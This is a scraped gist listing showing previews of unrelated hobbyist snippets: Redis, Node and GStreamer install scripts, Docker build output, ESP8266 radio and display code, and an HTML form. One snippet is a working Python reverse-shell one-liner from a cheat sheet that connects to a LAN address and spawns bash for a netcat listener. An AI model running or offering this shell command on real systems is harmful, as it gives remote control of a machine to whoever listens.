This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket, os, sys | |
def daemonize(): | |
pid = os.fork() | |
if pid > 0: | |
sys.exit(0) # Exit first parent | |
pid = os.fork() | |
if pid > 0: | |
sys.exit(0) # Exit second parent |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet | |
# on the CLIENT, run the following: | |
# nc -l 12345 | |
# on the SERVER, start the "reverse shell" | |
python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" 192.168.2.176 12345 | |
# now go to the CLIENT, listen on port 12345 for incoming shell connections | |
nc -l 12345 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# from here: http://www.codingsteps.com/install-redis-2-6-on-amazon-ec2-linux-ami-or-centos/ | |
# and here: https://raw.github.com/gist/257849/9f1e627e0b7dbe68882fa2b7bdb1b2b263522004/redis-server | |
############################################### | |
# To use: | |
# wget https://gist.githubusercontent.com/goliatone/b2d8e38c306f99dddca9883026292881/raw/install-redis.sh | |
# chmod 777 install-redis.sh | |
# ./install-redis.sh | |
############################################### | |
echo "*****************************************" |
This file has been truncated, but you can view the full file.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
time docker build --rm -t goliatone/rpi-pir-sensor . | |
Sending build context to Docker daemon 82.94 kB | |
Step 1 : FROM hypriot/rpi-iojs:1.6.4 | |
---> ec41686b23b6 | |
Step 2 : MAINTAINER goliatone <[email protected]> | |
---> Using cache | |
---> f80032fb17a5 | |
Step 3 : RUN apt-get update && apt-get install -y libi2c-dev git && git clone https://github.com/bryan-m-hughes/wiringPi && cd wiringPi && ./build && mkdir -p /usr/src/app | |
---> Using cache | |
---> 95f916c4a60c |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <SPI.h> | |
#include <nRF24L01.h> | |
#include <RF24.h> | |
#define DEVICE_ID 2 | |
#define CHANNEL 1 //MAX 127 | |
// SPI pin configuration figured out from here: | |
// http://d.av.id.au/blog/esp8266-hardware-spi-hspi-general-info-and-pinout/ | |
RF24 radio(2, 15); // Set up nRF24L01 radio on SPI bus plus pins 2 for CE and 15 for CSN |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function init_spi_display() | |
-- Hardware SPI CLK = GPIO14 | |
-- Hardware SPI MOSI = GPIO13 | |
-- Hardware SPI MISO = GPIO12 (not used) | |
-- CS, D/C, and RES can be assigned freely to available GPIOs | |
local cs = 8 -- GPIO15, pull-down 10k to GND | |
local dc = 4 -- GPIO2 | |
local res = 0 -- GPIO16 | |
spi.setup(1, spi.MASTER, spi.CPOL_LOW, spi.CPHA_LOW, spi.DATABITS_8, 0) | |
disp = u8g.ssd1306_128x64_spi(cs, dc, res) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
curl http://www.linux-projects.org/listing/uv4l_repo/lrkey.asc | sudo apt-key add - | |
sudo vi /etc/apt/sources.list | |
cat /etc/apt/sources.list | |
deb http://mirrordirector.raspbian.org/raspbian/ wheezy main contrib non-free rpi | |
deb http://www.linux-projects.org/listing/uv4l_repo/raspbian/ wheezy main | |
sudo apt-get update | |
sudo apt-get install uv4l-webrtc | |
sudo apt-get install uv4l-raspicam-extras | |
sudo service uv4l_raspicam restart |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
## Check for versions compiled with ARM at http://nodejs.org/dist/ | |
## Inspired by http://oskarhane.com/raspberry-pi-install-node-js-and-npm/ | |
## Fill in the Node Version here: | |
########################################################################## | |
NODE_VERSION="v0.10.21" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash --debugger | |
set -e | |
[ -n "$1" ] && BRANCH=$1 | |
# Create a log file of the build as well as displaying the build on the tty as it runs | |
exec > >(tee build_gstreamer.log) | |
exec 2>&1 | |
# Update and Upgrade the Pi, otherwise the build may fail due to inconsistencies |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<style> | |
label { | |
display: inline-block; width: 100px; height: 20px; float: left; text-align: left; | |
} | |
input { | |
display: inline-block; width: 25%; height: 20px; | |
} |